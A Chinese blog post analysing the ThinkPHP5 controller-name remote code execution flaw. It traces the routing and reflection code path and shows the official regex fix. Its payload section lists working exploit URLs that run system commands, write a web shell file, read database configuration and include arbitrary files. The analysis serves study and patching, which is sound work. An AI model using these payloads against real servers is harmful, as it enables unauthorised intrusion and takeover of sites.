ThinkPHP5 远程代码执行
2022-07-28 14:14:58
186
{{single.collect_count}}

漏洞概要

  • 本次漏洞存在于 ThinkPHP 底层没有对控制器名进行很好的合法性校验,导致在未开启强制路由的情况下,用户可以调用任意类的任意方法,最终导致远程代码执行漏洞的产生
  • 漏洞影响版本:
    5.0.7<=ThinkPHP5<=5.0.22 、5.1.0<=ThinkPHP<=5.1.30

初始配置

获取测试环境代码

composer create-project --prefer-dist topthink/think tpdemo

在这里插入图片描述

将 composer.json 文件的 require 字段设置成如下

"require": {"php": ">=5.6.0","topthink/framework": "5.1.30"},

然后执行 composer update

在这里插入图片描述

漏洞利用

Payload

5.1.x?s=index/\think\Request/input&filter[]=system&data=pwd?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id5.0.x?s=index/think\config/get&name=database.username # 获取配置信息?s=index/\think\Lang/load&file=../../test.jpg# 包含任意文件?s=index/\think\Config/load&file=../../t.php # 包含任意.php文件?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

在这里插入图片描述

漏洞分析

默认情况下安装的 ThinkPHP 是没有开启强制路由选项,而且默认开启路由兼容模式

在这里插入图片描述

没有开启强制路由说明可以使用路由兼容模式 s 参数,而框架对控制器名没有进行足够的检测,说明可能可以调用任意的控制器,那么可以试着利用 http://site/?s=模块/控制器/方法 来测试一下;在先前的 ThinkPHP SQL注入 分析文章中有提到所有用户参数都会经过 Request 类的 input 方法处理,该方法会调用 filterValue 方法,而 filterValue 方法中使用了 call_user_func ,那么来尝试利用这个方法

http://127.0.0.1/cms/public/?s=index/\think\Request/input&filter[]=phpinfo&data=1

查阅其 commit 记录,发现其增加了对控制器名的检测

在这里插入图片描述

跟进 thinkphp/library/think/route/dispatch/Module.php,在 $controller 代码段打下断点,可以看到控制器的名字是从 $result 中获取的,而 $result 的值来源于兼容模式下的 pathinfo ,即 s 参数

在这里插入图片描述
在这里插入图片描述

跟进 thinkphp/library/think/App.php,进入 App 类的 run 方法,进而调用 Dispatch 类的 run 方法,跟进 thinkphp/library/think/route/Dispatch.php,发现该方法会调用关键函数 exec

在这里插入图片描述
在这里插入图片描述

exec 函数中,程序利用反射机制,调用类的方法,这里的类、方法、参数均是可控的,而且整个过程并没有看到程序对控制器名的合法性进行检测,这也是导致远程代码执行漏洞的直接原因

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

以上是针对 ThinkPHP5.1.x 版本的漏洞分析,如果直接拿该版本的 payload 去测试 ThinkPHP5.0.x 版本,会发现很多 payload 都不能成功,其原因是两个大版本已加载的类不同,导致可利用的类也不尽相同

ThinkPHP 5.1.xThinkPHP 5.0.xstdClassstdClass Exception Exception ErrorExceptionErrorException Closure Closure Generator Generator DateTimeDateTime DateTimeImmutable DateTimeImmutable DateTimeZoneDateTimeZone DateIntervalDateInterval DatePeriodDatePeriod LibXMLError LibXMLError DOMExceptionDOMException DOMStringList DOMStringList DOMNameList DOMNameList DOMImplementationList DOMImplementationList DOMImplementationSource DOMImplementationSource DOMImplementation DOMImplementation DOMNode DOMNode DOMNameSpaceNodeDOMNameSpaceNode DOMDocumentFragment DOMDocumentFragment DOMDocument DOMDocument DOMNodeList DOMNodeList DOMNamedNodeMap DOMNamedNodeMap DOMCharacterDataDOMCharacterData DOMAttr DOMAttr DOMElementDOMElement DOMText DOMText DOMCommentDOMComment DOMTypeinfo DOMTypeinfo DOMUserDataHandlerDOMUserDataHandler DOMDomError DOMDomError DOMErrorHandler DOMErrorHandler DOMLocatorDOMLocator DOMConfigurationDOMConfiguration DOMCdataSection DOMCdataSection DOMDocumentType DOMDocumentType DOMNotation DOMNotation DOMEntity DOMEntity DOMEntityReferenceDOMEntityReference DOMProcessingInstructionDOMProcessingInstruction DOMStringExtend DOMStringExtend DOMXPathDOMXPath finfo finfo LogicExceptionLogicException BadFunctionCallExceptionBadFunctionCallException BadMethodCallExceptionBadMethodCallException DomainException DomainException InvalidArgumentExceptionInvalidArgumentException LengthException LengthException OutOfRangeException OutOfRangeException RuntimeExceptionRuntimeException OutOfBoundsExceptionOutOfBoundsException OverflowException OverflowException RangeExceptionRangeException UnderflowExceptionUnderflowException UnexpectedValueExceptionUnexpectedValueException RecursiveIteratorIterator RecursiveIteratorIterator IteratorIteratorIteratorIterator FilterIteratorFilterIterator RecursiveFilterIterator RecursiveFilterIterator CallbackFilterIteratorCallbackFilterIterator RecursiveCallbackFilterIterator RecursiveCallbackFilterIterator ParentIteratorParentIterator LimitIterator LimitIterator CachingIterator CachingIterator RecursiveCachingIteratorRecursiveCachingIterator NoRewindIteratorNoRewindIterator AppendIteratorAppendIterator InfiniteIteratorInfiniteIterator RegexIterator RegexIterator RecursiveRegexIteratorRecursiveRegexIterator EmptyIterator EmptyIterator RecursiveTreeIterator RecursiveTreeIterator ArrayObject ArrayObject ArrayIterator ArrayIterator RecursiveArrayIteratorRecursiveArrayIterator SplFileInfo SplFileInfo DirectoryIterator DirectoryIterator FilesystemIteratorFilesystemIterator RecursiveDirectoryIteratorRecursiveDirectoryIterator GlobIteratorGlobIterator SplFileObject SplFileObject SplTempFileObject SplTempFileObject SplDoublyLinkedList SplDoublyLinkedList SplQueueSplQueue SplStackSplStack SplHeap SplHeap SplMinHeapSplMinHeap SplMaxHeapSplMaxHeap SplPriorityQueueSplPriorityQueue SplFixedArray SplFixedArray SplObjectStorageSplObjectStorage MultipleIteratorMultipleIterator SessionHandlerSessionHandler ReflectionException ReflectionException ReflectionReflection ReflectionFunctionAbstractReflectionFunctionAbstract ReflectionFunctionReflectionFunction ReflectionParameter ReflectionParameter ReflectionMethodReflectionMethod ReflectionClass ReflectionClass ReflectionObjectReflectionObject ReflectionPropertyReflectionProperty ReflectionExtension ReflectionExtension ReflectionZendExtension ReflectionZendExtension __PHP_Incomplete_Class__PHP_Incomplete_Class php_user_filter php_user_filter Directory Directory SimpleXMLElementSimpleXMLElement SimpleXMLIterator SimpleXMLIterator SoapClientSoapClient SoapVar SoapVar SoapServerSoapServer SoapFault SoapFault SoapParam SoapParam SoapHeaderSoapHeader PharException PharException PharPhar PharDataPharData PharFileInfoPharFileInfo XMLReader XMLReader XMLWriter XMLWriter ZipArchiveZipArchive PDOExceptionPDOException PDO PDO PDOStatementPDOStatement PDORowPDORow CURLFileCURLFile CollatorCollator NumberFormatter NumberFormatter NormalizerNormalizer LocaleLocale MessageFormatterMessageFormatter IntlDateFormatter IntlDateFormatter ResourceBundleResourceBundle TransliteratorTransliterator IntlTimeZoneIntlTimeZone IntlCalendarIntlCalendar IntlGregorianCalendar IntlGregorianCalendar SpoofcheckerSpoofchecker IntlException IntlException IntlIteratorIntlIterator IntlBreakIterator IntlBreakIterator IntlRuleBasedBreakIteratorIntlRuleBasedBreakIterator IntlCodePointBreakIteratorIntlCodePointBreakIterator IntlPartsIterator IntlPartsIterator UConverterUConverter JsonIncrementalParser JsonIncrementalParser mysqli_sql_exceptionmysqli_sql_exception mysqli_driver mysqli_driver mysqlimysqli mysqli_warningmysqli_warning mysqli_result mysqli_result mysqli_stmt mysqli_stmt Composer\Autoload\ComposerStaticInit81a0c33d33d83a86fdd976e2aff753d9Composer\Autoload\ComposerStaticInit8a67cf04fc9c0db5b85a9d897c12a44c think\Loaderthink\Loaderthink\Error think\Error think\Container think\Config think\App think\App think\Env think\Request think\Configthink\Hook think\Hookthink\Env think\Facadethink\Lang think\facade\Envthink\Log env think\Routethink\Db think\Lang think\Request think\facade\Route route think\Route think\route\Rule think\route\RuleGroup think\route\Domain think\route\RuleItem think\route\RuleName think\route\Dispatch think\route\dispatch\Url think\route\dispatch\Module think\Middleware think\Cookie think\View think\view\driver\Think think\Template think\template\driver\File think\Log think\log\driver\File think\Session think\Debug think\Cache think\cache\Driver think\cache\driver\File 

漏洞修复

官方的修复方法是:增加正则表达式 ^[A-Za-z](\w)*$ ,对控制器名进行合法性检测

在这里插入图片描述

攻击总结

参考Mochazz师傅的审计流程

在这里插入图片描述

回帖
全部回帖({{commentCount}})
{{item.user.nickname}} {{item.user.group_title}} {{item.friend_time}}
{{item.content}}
{{item.comment_content_show ? '取消' : '回复'}} 删除
回帖
{{reply.user.nickname}} {{reply.user.group_title}} {{reply.friend_time}}
{{reply.content}}
{{reply.comment_content_show ? '取消' : '回复'}} 删除
回帖
收起
没有更多啦~
{{commentLoading ? '加载中...' : '查看更多评论'}}